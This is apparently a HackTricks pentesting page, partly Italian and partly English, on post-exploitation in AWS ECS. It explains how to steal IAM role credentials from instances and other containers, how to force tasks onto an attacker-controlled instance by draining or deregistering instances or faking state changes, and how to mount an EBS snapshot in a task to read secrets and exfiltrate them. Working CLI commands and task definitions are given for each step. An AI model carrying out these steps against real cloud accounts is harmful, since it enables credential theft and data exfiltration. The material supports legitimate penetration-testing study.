6.4 KiB
AWS - ECS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
ECS
For more information check:
{{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}}
Host IAM Roles
Nell'ECS un IAM role può essere assegnato al task eseguito all'interno del container. Se il task viene eseguito su un'istanza EC2, l'istanza EC2 avrà un altro IAM role collegato a essa.
Ciò significa che se riesci a compromettere un'istanza ECS puoi potenzialmente ottenere l'IAM role associato a ECR e all'istanza EC2. Per maggiori informazioni su come ottenere quelle credenziali consulta:
{{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}}
Caution
Nota che se l'istanza EC2 sta imponendo IMDSv2, secondo la documentazione, la risposta della richiesta PUT avrà un hop limit di 1, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
Privesc to node to steal other containers creds & secrets
Inoltre, EC2 uses docker per eseguire ECS tasks, quindi se puoi escape to the node o access the docker socket, puoi verificare quali altri container sono in esecuzione, e persino entrare al loro interno e rubare gli IAM role loro associati.
Making containers run in current host
Furthermore, l'EC2 instance role di solito avrà sufficienti permissions per aggiornare lo stato della container instance delle istanze EC2 usate come nodi all'interno del cluster. Un attacker potrebbe modificare lo stato di un'istanza in DRAINING, quindi ECS rimuoverà tutti i task da essa e quelli eseguiti come REPLICA saranno eseguiti in una diversa istanza, potenzialmente all'interno dell'istanza dell'attaccante, così da poter rubare i loro IAM role e eventuali informazioni sensibili presenti all'interno del container.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
La stessa tecnica può essere eseguita rimuovendo l'istanza EC2 dal cluster. Questo è potenzialmente meno stealthy ma forzerà l'esecuzione dei tasks su altre istanze:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la task o il container è stato arrestato. Ci sono 3 API potenziali per farlo:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Steal sensitive info from ECR containers
L'istanza EC2 probabilmente avrà anche il permesso ecr:GetAuthorizationToken che le permette di download images (potresti cercare informazioni sensibili al loro interno).
{{#include ../../../../banners/hacktricks-training.md}}
Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/servizio ECS e leggere i suoi dati dal container.
-
Richiede (minimo):
-
ecs:RegisterTaskDefinition
-
One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole on:
-
ECS infrastructure role used for volumes (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenced by the task definition
-
If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
-
Impatto: leggere contenuti arbitrari del disco dallo snapshot (es., file di database) all'interno del container ed esfiltrarli via rete/log.
Passaggi (esempio Fargate):
- Crea il ruolo infrastruttura ECS (se non esiste) e allega la managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registra una task definition con un volume contrassegnato
configuredAtLaunche montalo nel container. Esempio (stampa il secret e poi dorme):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Crea o aggiorna un servizio passando lo snapshot EBS tramite
volumeConfigurations.managedEBSVolume(richiede iam:PassRole sul ruolo infra). Esempio:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Quando il task viene avviato, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es.,
/loot). Exfiltrate via the task’s network/logs.
Pulizia:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read